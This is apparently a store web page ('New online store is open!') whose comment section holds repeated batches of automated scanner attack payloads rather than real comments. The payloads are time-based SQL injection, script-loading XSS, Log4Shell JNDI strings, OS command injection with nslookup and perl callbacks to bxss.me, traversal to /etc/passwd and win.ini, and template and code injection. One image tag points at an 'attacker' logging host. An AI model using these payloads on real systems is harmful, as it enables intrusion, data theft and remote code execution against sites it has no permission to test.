New online store is open!

This is a sample comment...

mhRDRfyX

1*

1*

1*

1*

-1 OR 2+685-685-1=0+0+0+1

-1 OR 3+685-685-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

2MWiWvuu'; waitfor delay '0:0:15' --

NryzY0h9'); waitfor delay '0:0:15' --

EsQ58B4C')); waitfor delay '0:0:15' --

-5 OR 829=(SELECT 829 FROM PG_SLEEP(15))--

-5) OR 416=(SELECT 416 FROM PG_SLEEP(15))--

-1)) OR 366=(SELECT 366 FROM PG_SLEEP(15))--

CGQDrBdh' OR 208=(SELECT 208 FROM PG_SLEEP(15))--

W5rPOiWC') OR 436=(SELECT 436 FROM PG_SLEEP(15))--

GGZj35iy')) OR 809=(SELECT 809 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@SwJT2

1BbLZE8dF2O

${j${::-n}di:dns${::-:}//hitubrzckrnot731c1${::-.}bxss.me}

response.write(9181401*9310049)

'+response.write(9181401*9310049)+'

"+response.write(9181401*9310049)+"

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=009247&r=675-103338&h=675-5e3ac-2&"></script>

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo rvobgj$()\ ismpur\nz^xyu||a #' &echo rvobgj$()\ ismpur\nz^xyu||a #|" &echo rvobgj$()\ ismpur\nz^xyu||a #

&echo vwimea$()\ mjlkpj\nz^xyu||a #' &echo vwimea$()\ mjlkpj\nz^xyu||a #|" &echo vwimea$()\ mjlkpj\nz^xyu||a #

|echo avbcem$()\ gdvxpi\nz^xyu||a #' |echo avbcem$()\ gdvxpi\nz^xyu||a #|" |echo avbcem$()\ gdvxpi\nz^xyu||a #

(nslookup hitqwweocfqkld0b3e.bxss.me||perl -e "gethostbyname('hitqwweocfqkld0b3e.bxss.me')")

p6o9Njva

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

../

./

bcc:009247.675-103342.675.5e3ac.19002.2@bxss.me

to@example.com>
bcc:009247.675-103343.675.5e3ac.19002.2@bxss.me

$(nslookup hitvhowjoyiku87e63.bxss.me||perl -e "gethostbyname('hitvhowjoyiku87e63.bxss.me')")

12345'"\'\");|]*{
<>�''💡

<esi:include src="http://bxss.me/rpb.png"/>

${9999631+10000463}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1some_inexistent_file_with_long_name.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

bxss.me

&n948690=v965798

&(nslookup hitzqfkeuwbtkeff5f.bxss.me||perl -e "gethostbyname('hitzqfkeuwbtkeff5f.bxss.me')")&'\"`0&(nslookup hitzqfkeuwbtkeff5f.bxss.me||perl -e "gethostbyname('hitzqfkeuwbtkeff5f.bxss.me')")&`'

)

|(nslookup hithkqnhzllds9d803.bxss.me||perl -e "gethostbyname('hithkqnhzllds9d803.bxss.me')")

!(()&&!|*|*|

^(#$!@#$)(()))******

`(nslookup hitgdetfwcxmqf9bfa.bxss.me||perl -e "gethostbyname('hitgdetfwcxmqf9bfa.bxss.me')")`

;(nslookup hitwtbvqjfedvaf4d3.bxss.me||perl -e "gethostbyname('hitwtbvqjfedvaf4d3.bxss.me')")|(nslookup hitwtbvqjfedvaf4d3.bxss.me||perl -e "gethostbyname('hitwtbvqjfedvaf4d3.bxss.me')")&(nslookup hitwtbvqjfedvaf4d3.bxss.me||perl -e "gethostbyname('hitwtbvqjfedvaf4d3.bxss.me')")

'"()

'.gethostbyname(lc('hitrs'.'uybozgaq3ee1d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(72).chr(111).chr(86).'

".gethostbyname(lc("hitwx"."cyfiyneg2136a.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(65).chr(102).chr(84)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

ctime
sleep
p0
(I30
tp1
Rp2
.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitvizwceaefkdb7b9.'+'bxss.me')

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitvizwceaefkdb7b9."+"bxss.me")+'

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitvizwceaefkdb7b9.'+'bxss.me')+"

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(102).concat(82).concat(119).concat(75)+(require"socket"
Socket.gethostbyname("hitdl"+"stwvkzxa712de.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(119).concat(76).concat(102).concat(84)+(require'socket'
Socket.gethostbyname('hitly'+'vdhfhvfv1f21b.bxss.me.')[3].to_s)+'

new-online-store-is-open

new-online-store-is-open

new-online-store-is-open/.

http://hitttexyvzyhb.bxss.me/

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

'"

<!--

'"()&%<acx><ScRiPt >yYhz(9093)</ScRiPt>

'"()&%<acx><ScRiPt >yYhz(9384)</ScRiPt>

9298811

acu1454＜s1﹥s2ʺs3ʹuca1454

acux10565��z1��z2a�bcxuca10565

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >yYhz(9255)</ScRiPt>

<WUZGLU>MDEKC[!+!]</WUZGLU>

<script>yYhz(9276)</script>

<ScR<ScRiPt>IpT>yYhz(9829)</sCr<ScRiPt>IpT>

<ScRiPt
>yYhz(9322)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9932></ScRiPt>

<ScRiPt
>yYhz(9796)</ScRiPt>

<svg  

�onload=yYhz(9456);>

<isindex type=image src=1 onerror=yYhz(9455)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9603'>

<body onload=yYhz(9524)>

<img src=//xss.bxss.me/t/dot.gif onload=yYhz(9109)>

<img src=xyz OnErRor=yYhz(9858)>

<img/src=">" onerror=alert(9217)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%79%59%68%7A%289615%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\yYhz(9134)\u003C/sCripT\u003E

&lt;ScRiPt&gt;yYhz(9907)&lt;/sCripT&gt;

�<img acu onmouseover=yYhz(96891) //�>

<input autofocus onfocus=yYhz(9547)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{acu:Expre/**/SSion(yYhz(9849))}

HwOhm
<ScRiPt >yYhz(9525)</ScRiPt>

<WGRFDP>W9C0W[!+!]</WGRFDP>

<ifRAme sRc=9087.com></IfRamE>

<a6kvN21 x=9687>

<img sRc='http://attacker-9632/log.php?

<a6lgbVB<

okRzNi3S

1*

1*

1*

1*

-1 OR 2+805-805-1=0+0+0+1

-1 OR 3+805-805-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

ek6wBqnH'; waitfor delay '0:0:15' --

uxCjtE6W'); waitfor delay '0:0:15' --

U7vyph5J')); waitfor delay '0:0:15' --

-5 OR 851=(SELECT 851 FROM PG_SLEEP(15))--

-5) OR 527=(SELECT 527 FROM PG_SLEEP(15))--

-1)) OR 110=(SELECT 110 FROM PG_SLEEP(15))--

ZycHtSFX' OR 865=(SELECT 865 FROM PG_SLEEP(15))--

1Qtpd6sh') OR 422=(SELECT 422 FROM PG_SLEEP(15))--

GRGu5hwO')) OR 604=(SELECT 604 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@5gSlX

'"()&%<acx><ScRiPt >cZZ7(9488)</ScRiPt>

'"()&%<acx><ScRiPt >cZZ7(9332)</ScRiPt>

9424544

acu4090＜s1﹥s2ʺs3ʹuca4090

acux4597��z1��z2a�bcxuca4597

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

${j${::-n}di:dns${::-:}//hitnpwbbeicryf9723${::-.}bxss.me}

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >cZZ7(9353)</ScRiPt>

<WNDYAF>VSIEW[!+!]</WNDYAF>

<script>cZZ7(9915)</script>

<ScR<ScRiPt>IpT>cZZ7(9706)</sCr<ScRiPt>IpT>

<ScRiPt
>cZZ7(9689)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9045></ScRiPt>

<ScRiPt
>cZZ7(9819)</ScRiPt>

response.write(9283855*9352402)

'+response.write(9283855*9352402)+'

"+response.write(9283855*9352402)+"

<svg  

�onload=cZZ7(9828);>

<isindex type=image src=1 onerror=cZZ7(9190)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9525'>

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=009247&r=675-104897&h=675-5e3ac-2&"></script>

<body onload=cZZ7(9739)>

/../../../../../../../../../../windows/system32/BITSADMIN.exe

<img src=//xss.bxss.me/t/dot.gif onload=cZZ7(9212)>

echo rrgydz$()\ sqckla\nz^xyu||a #' &echo rrgydz$()\ sqckla\nz^xyu||a #|" &echo rrgydz$()\ sqckla\nz^xyu||a #

&echo ozlbaa$()\ qpcltb\nz^xyu||a #' &echo ozlbaa$()\ qpcltb\nz^xyu||a #|" &echo ozlbaa$()\ qpcltb\nz^xyu||a #

<img src=xyz OnErRor=cZZ7(9896)>

|echo sjuegf$()\ bolfmt\nz^xyu||a #' |echo sjuegf$()\ bolfmt\nz^xyu||a #|" |echo sjuegf$()\ bolfmt\nz^xyu||a #

(nslookup hittrqnhtaqgf3c23d.bxss.me||perl -e "gethostbyname('hittrqnhtaqgf3c23d.bxss.me')")

<img/src=">" onerror=alert(9845)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%63%5A%5A%37%289356%29%3C%2F%73%43%72%69%70%54%3E

A0AI2FY3

\u003CScRiPt\cZZ7(9364)\u003C/sCripT\u003E

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

&lt;ScRiPt&gt;cZZ7(9313)&lt;/sCripT&gt;

../

./

�<img acu onmouseover=cZZ7(95561) //�>

<input autofocus onfocus=cZZ7(9870)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{acu:Expre/**/SSion(cZZ7(9304))}

bcc:009247.675-104901.675.5e3ac.19002.2@bxss.me

to@example.com>
bcc:009247.675-104902.675.5e3ac.19002.2@bxss.me

Ad1x6
<ScRiPt >cZZ7(9272)</ScRiPt>

<WBTSHI>TOX74[!+!]</WBTSHI>

<ifRAme sRc=9048.com></IfRamE>

12345'"\'\");|]*{
<>�''💡

<anAfJwu x=9391>

<img sRc='http://attacker-9522/log.php?

<a2oU30a<

<esi:include src="http://bxss.me/rpb.png"/>

$(nslookup hitlntpazszgtb00d2.bxss.me||perl -e "gethostbyname('hitlntpazszgtb00d2.bxss.me')")

${9999425+9999397}

&(nslookup hitkkbusbkktnd2656.bxss.me||perl -e "gethostbyname('hitkkbusbkktnd2656.bxss.me')")&'\"`0&(nslookup hitkkbusbkktnd2656.bxss.me||perl -e "gethostbyname('hitkkbusbkktnd2656.bxss.me')")&`'

|(nslookup hitralikbuzlc53712.bxss.me||perl -e "gethostbyname('hitralikbuzlc53712.bxss.me')")

`(nslookup hitcihrtuwhig72bd9.bxss.me||perl -e "gethostbyname('hitcihrtuwhig72bd9.bxss.me')")`

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1some_inexistent_file_with_long_name.jpg

;(nslookup hitruvkszudukd12e2.bxss.me||perl -e "gethostbyname('hitruvkszudukd12e2.bxss.me')")|(nslookup hitruvkszudukd12e2.bxss.me||perl -e "gethostbyname('hitruvkszudukd12e2.bxss.me')")&(nslookup hitruvkszudukd12e2.bxss.me||perl -e "gethostbyname('hitruvkszudukd12e2.bxss.me')")

&n958212=v953902

Http://bxss.me/t/fit.txt

)

http://bxss.me/t/fit.txt?.jpg

!(()&&!|*|*|

bxss.me

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitwl'.'stxucmir96072.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(70).chr(101).chr(86).'

".gethostbyname(lc("hitfg"."tghiorsjfa3a9.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(77).chr(121).chr(66)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

ctime
sleep
p0
(I30
tp1
Rp2
.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitjurmtwnplf7694f.'+'bxss.me')

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitjurmtwnplf7694f."+"bxss.me")+'

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitjurmtwnplf7694f.'+'bxss.me')+"

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(100).concat(65).concat(107).concat(84)+(require"socket"
Socket.gethostbyname("hitay"+"jqtyhbpi8de6e.bxss.me.")[3].to_s)+"

new-online-store-is-open

new-online-store-is-open

'+'A'.concat(70-3).concat(22*4).concat(118).concat(73).concat(117).concat(75)+(require'socket'
Socket.gethostbyname('hittr'+'tyxomuaed924d.bxss.me.')[3].to_s)+'

new-online-store-is-open/.

http://hitsaulcqizff.bxss.me/

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

'"

'"()&%<acx><ScRiPt >xZs1(9087)</ScRiPt>

<!--

'"()&%<acx><ScRiPt >xZs1(9334)</ScRiPt>

9595492

acu6745＜s1﹥s2ʺs3ʹuca6745

acux3149��z1��z2a�bcxuca3149

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >xZs1(9216)</ScRiPt>

<WJSBA3>OLLNJ[!+!]</WJSBA3>

<script>xZs1(9426)</script>

<ScR<ScRiPt>IpT>xZs1(9557)</sCr<ScRiPt>IpT>

<ScRiPt
>xZs1(9600)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9980></ScRiPt>

<ScRiPt
>xZs1(9934)</ScRiPt>

<svg  

�onload=xZs1(9650);>

<isindex type=image src=1 onerror=xZs1(9234)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9902'>

<body onload=xZs1(9335)>

<img src=//xss.bxss.me/t/dot.gif onload=xZs1(9307)>

<img src=xyz OnErRor=xZs1(9033)>

<img/src=">" onerror=alert(9131)>

%0D%0A%0D%0A%3C%53%63%52%69%50%74%20%3E%78%5A%73%31%289489%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\xZs1(9440)\u003C/sCripT\u003E

&lt;ScRiPt&gt;xZs1(9806)&lt;/sCripT&gt;

�<img acu onmouseover=xZs1(97931) //�>

<input autofocus onfocus=xZs1(9741)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{acu:Expre/**/SSion(xZs1(9836))}

stbKK
<ScRiPt >xZs1(9409)</ScRiPt>

<W4FC2Q>ALZIZ[!+!]</W4FC2Q>

<ifRAme sRc=9560.com></IfRamE>

<aPm0te3 x=9141>

<img sRc='http://attacker-9517/log.php?

<aiGwSfz<

FMiN8UPm

1*

1*

1*

1*

-1 OR 2+19-19-1=0+0+0+1

-1 OR 3+19-19-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

HLKiUYyd'; waitfor delay '0:0:15' --

QvdfPcnS'); waitfor delay '0:0:15' --

9SuDZPeD')); waitfor delay '0:0:15' --

-5 OR 801=(SELECT 801 FROM PG_SLEEP(15))--

-5) OR 942=(SELECT 942 FROM PG_SLEEP(15))--

-1)) OR 498=(SELECT 498 FROM PG_SLEEP(15))--

nE3iFfOH' OR 525=(SELECT 525 FROM PG_SLEEP(15))--

lGFeB38D') OR 619=(SELECT 619 FROM PG_SLEEP(15))--

yG829oxE')) OR 171=(SELECT 171 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@mRhub

'"()&%<acx><ScRiPt >EaQr(9564)</ScRiPt>

'"()&%<acx><ScRiPt >EaQr(9645)</ScRiPt>

9134317

acu6718＜s1﹥s2ʺs3ʹuca6718

acux3558��z1��z2a�bcxuca3558

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >EaQr(9475)</ScRiPt>

<WXLXIZ>UMSPR[!+!]</WXLXIZ>

<script>EaQr(9902)</script>

<ScR<ScRiPt>IpT>EaQr(9478)</sCr<ScRiPt>IpT>

<ScRiPt
>EaQr(9661)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9597></ScRiPt>

<ScRiPt
>EaQr(9014)</ScRiPt>

<svg  

�onload=EaQr(9949);>

<isindex type=image src=1 onerror=EaQr(9806)>

${j${::-n}di:dns${::-:}//hitvsptlvhspce1af5${::-.}bxss.me}

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9571'>

<body onload=EaQr(9608)>

<img src=//xss.bxss.me/t/dot.gif onload=EaQr(9691)>

<img src=xyz OnErRor=EaQr(9936)>

<img/src=">" onerror=alert(9490)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%45%61%51%72%289619%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\EaQr(9127)\u003C/sCripT\u003E

&lt;ScRiPt&gt;EaQr(9839)&lt;/sCripT&gt;

�<img acu onmouseover=EaQr(92891) //�>

response.write(9090840*9067061)

<input autofocus onfocus=EaQr(9799)>

'+response.write(9090840*9067061)+'

"+response.write(9090840*9067061)+"

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{acu:Expre/**/SSion(EaQr(9502))}

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=009247&r=675-107265&h=675-5e3ac-2&"></script>

MN59y
<ScRiPt >EaQr(9717)</ScRiPt>

/../../../../../../../../../../windows/system32/BITSADMIN.exe

<WDOW7O>JEZEM[!+!]</WDOW7O>

echo ekkoka$()\ zaxgfz\nz^xyu||a #' &echo ekkoka$()\ zaxgfz\nz^xyu||a #|" &echo ekkoka$()\ zaxgfz\nz^xyu||a #

&echo vfgsci$()\ braprr\nz^xyu||a #' &echo vfgsci$()\ braprr\nz^xyu||a #|" &echo vfgsci$()\ braprr\nz^xyu||a #

ph2dvr9g

|echo bvtrle$()\ idrlzr\nz^xyu||a #' |echo bvtrle$()\ idrlzr\nz^xyu||a #|" |echo bvtrle$()\ idrlzr\nz^xyu||a #

<ifRAme sRc=9359.com></IfRamE>

(nslookup hitvzjsxpxyyk9c38c.bxss.me||perl -e "gethostbyname('hitvzjsxpxyyk9c38c.bxss.me')")

$(nslookup hitbschuluwwe83d2c.bxss.me||perl -e "gethostbyname('hitbschuluwwe83d2c.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

<aF0uuSH x=9822>

../../../../../../../../../../../../../../windows/win.ini

bcc:009247.675-107269.675.5e3ac.19002.2@bxss.me

&(nslookup hitzhmmlbmnpxb4aa8.bxss.me||perl -e "gethostbyname('hitzhmmlbmnpxb4aa8.bxss.me')")&'\"`0&(nslookup hitzhmmlbmnpxb4aa8.bxss.me||perl -e "gethostbyname('hitzhmmlbmnpxb4aa8.bxss.me')")&`'

to@example.com>
bcc:009247.675-107270.675.5e3ac.19002.2@bxss.me

|(nslookup hitwxfvxdaetlc4dc5.bxss.me||perl -e "gethostbyname('hitwxfvxdaetlc4dc5.bxss.me')")

../

`(nslookup hitwfhhhqpydr89973.bxss.me||perl -e "gethostbyname('hitwfhhhqpydr89973.bxss.me')")`

./

;(nslookup hitdofsytbsvq2c10c.bxss.me||perl -e "gethostbyname('hitdofsytbsvq2c10c.bxss.me')")|(nslookup hitdofsytbsvq2c10c.bxss.me||perl -e "gethostbyname('hitdofsytbsvq2c10c.bxss.me')")&(nslookup hitdofsytbsvq2c10c.bxss.me||perl -e "gethostbyname('hitdofsytbsvq2c10c.bxss.me')")

<img sRc='http://attacker-9198/log.php?

<acBZCMH<

<esi:include src="http://bxss.me/rpb.png"/>

${9999645+9999006}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1some_inexistent_file_with_long_name.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

&n910731=v998852

bxss.me

)

!(()&&!|*|*|

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitxj'.'udqdzuzx631cb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(65).chr(105).chr(76).'

".gethostbyname(lc("hitjp"."doeoinkwa1b8e.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(75).chr(104).chr(70)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

ctime
sleep
p0
(I30
tp1
Rp2
.

';print(md5(31337));$a='

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitpiwtclrhzj8225e.'+'bxss.me')

";print(md5(31337));$a="

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitpiwtclrhzj8225e."+"bxss.me")+'

${@print(md5(31337))}

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitpiwtclrhzj8225e.'+'bxss.me')+"

${@print(md5(31337))}\

'.print(md5(31337)).'

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(100).concat(79).concat(114).concat(73)+(require"socket"
Socket.gethostbyname("hitaf"+"gkfzbiekd286e.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(97).concat(84).concat(109).concat(83)+(require'socket'
Socket.gethostbyname('hitjw'+'glhdwfzs35f1f.bxss.me.')[3].to_s)+'

new-online-store-is-open

new-online-store-is-open

new-online-store-is-open/.

http://hitelycowbydm.bxss.me/

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

'"

<!--

'"()&%<acx><ScRiPt >znYn(9039)</ScRiPt>

'"()&%<acx><ScRiPt >znYn(9852)</ScRiPt>

9264019

acu8188＜s1﹥s2ʺs3ʹuca8188

acux9882��z1��z2a�bcxuca9882

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >znYn(9412)</ScRiPt>

<W9HUGI>DM8HU[!+!]</W9HUGI>

<script>znYn(9915)</script>

<ScR<ScRiPt>IpT>znYn(9982)</sCr<ScRiPt>IpT>

<ScRiPt
>znYn(9921)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9030></ScRiPt>

<ScRiPt
>znYn(9318)</ScRiPt>

<svg  

�onload=znYn(9195);>

<isindex type=image src=1 onerror=znYn(9387)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9219'>

<body onload=znYn(9752)>

<img src=//xss.bxss.me/t/dot.gif onload=znYn(9210)>

<img src=xyz OnErRor=znYn(9764)>

<img/src=">" onerror=alert(9264)>

%0D%0A%0D%0A%0D%0A%3C%53%63%52%69%50%74%20%3E%7A%6E%59%6E%289206%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\znYn(9750)\u003C/sCripT\u003E

&lt;ScRiPt&gt;znYn(9788)&lt;/sCripT&gt;

�<img acu onmouseover=znYn(97081) //�>

<input autofocus onfocus=znYn(9921)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{acu:Expre/**/SSion(znYn(9560))}

jTA72
<ScRiPt >znYn(9819)</ScRiPt>

<WNQPMM>ZS272[!+!]</WNQPMM>

<ifRAme sRc=9643.com></IfRamE>

<aLWzLvG x=9841>

<img sRc='http://attacker-9553/log.php?

<a9UgZA0<